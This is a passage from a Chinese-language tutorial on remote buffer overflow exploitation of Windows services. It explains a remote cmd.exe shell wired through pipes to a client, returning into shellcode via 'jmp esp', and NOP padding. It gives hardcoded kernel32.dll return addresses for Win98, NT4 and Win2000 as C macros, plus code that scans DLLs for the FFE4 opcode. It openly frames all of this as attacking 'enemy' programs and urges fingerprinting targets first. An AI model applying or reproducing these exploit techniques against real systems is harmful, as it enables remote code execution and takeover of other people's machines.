电脑技术学习

windows系统下的远程溢出方法

dn001

这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,
看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,
就去接受客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client) <-- send(父进程) read<--〔管道一〕<--write 标准输出
(cmd.exe子进程)
获得结果(Client) recv-->(父进程)write-->〔管道二〕-->read 标准输入
(cmd.exe子进程)

*/
return 0;
}
/***************************************************************************
*/

----shellcode疑难问题

下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,
我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回
后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)
所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,
使用jmp esp 就可以跳到我们的shellcode上来。

当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C

但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。

事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以
很精确的发现的,因为你可以看到他的汇编原代码呀!

为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面
加上0c个nop.

这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为
这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的
变动而变动,为了通用性的考虑,采用KERNEL32.DLL。

那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a

以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出
选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。
jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,
所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。

以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "x2axe3xe2x77"
#endif
#ifdef WINNT4
#define JUMPESP "xc3xeaxf0x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "xa3x95xf7xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址。"
#endif

如果你有softice,可以直接在内存里面搜ffe4。如果没有,
绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。
我把他改了一下,可以搜索指定dll中的FFE4。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

if(argc>1) {
strcpy(dllname,argv[1]);
}

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);

/****************************************************************************/
2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数,比如ReadFile,CreateProcess等等。
这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。
我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的
所有的函数。

我们希望可以作出一个平台无关的shellcode,这就必须:
不直接使用OS版本相关的函数入口地址。
这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。

标签: